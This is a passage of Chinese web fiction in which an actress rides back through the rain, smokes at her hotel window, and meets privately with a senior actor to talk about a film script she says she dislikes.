内燃机与心脏共鸣,她从未这么痛快过了。 整个肉.体与灵魂都重新鲜活起来。 中午找地方吃了顿饭,下午三人一起坐车回电影城,路上下起雨。 程锁锈看着窗外的雨丝,绵绵的,带着种无休无止的黏乎乎的情绪下着。 刘榴在一旁翻看相册,兀自感叹:“天呢,这张拍得实在太完美了,可惜不能外传,那就当作是我的私人女明星周边吧!” 程锁锈一笑,脸重新转朝车窗。 又好想,好想抽一根烟。 她低头看手机,忽然刷到陆巡的更新:【又雨。】 看着那张照片,湿漉的车道,陌生的环境。 她突然想到当下很流行的话:你所在的城市天气好不好?你好不好? * 洗了澡,程锁锈坐在开着的窗边。 雨下大了,漫卷着铺天盖地的水汽,激打在地上又是一大片水纹与花白,像一幅气势磅礴但内容单调的抽象画。 戏没法拍,今天在外面工作的人狼狈地回了酒店,可她在高层,看不清,只听见下面一片喧哗,偶尔从雨幕烟雾中窥得几分颜色,几声车喇叭的“滴滴”倒很清晰刺耳。 她只穿吊带,在椅子上曲起修长的腿,仰起脖子,眯起眼,对窗外吐出一片一片的白烟,看它们被雨水击打得支离破碎,特别有趣,就像屋内空调的冷气与屋外自然的热气在这交界处所展开的对决。 收回目光时,就看面前膝上的剧本。 * 没几天,程锁锈邀请何崇尔来组里,他空出了一晚上时间。 她不想让他们的对话被任何人听见,便在酒店找了间很小很私密的会议室。 看着眼前散发出成熟气息的男人,她很诚恳:“何老师,感谢您百忙之中抽出时间来和我见上一面,我就是有个问题想请教……” 何崇尔双手交握,今天戴了副边框极细的眼镜,让他看上去更加温和:“说吧。” 程锁锈推过去快被翻烂的剧本:“您了解《哑火》的剧情吗?” 何崇尔接过:“大概了解,具体的可以现在看看。” “曾经有个人问我,喜不喜欢这个作品。” 正在翻看的何崇尔微微一笑,静听下文,她说:“当时我也没想到自己会回答得如此干脆,就三个字:不喜欢。”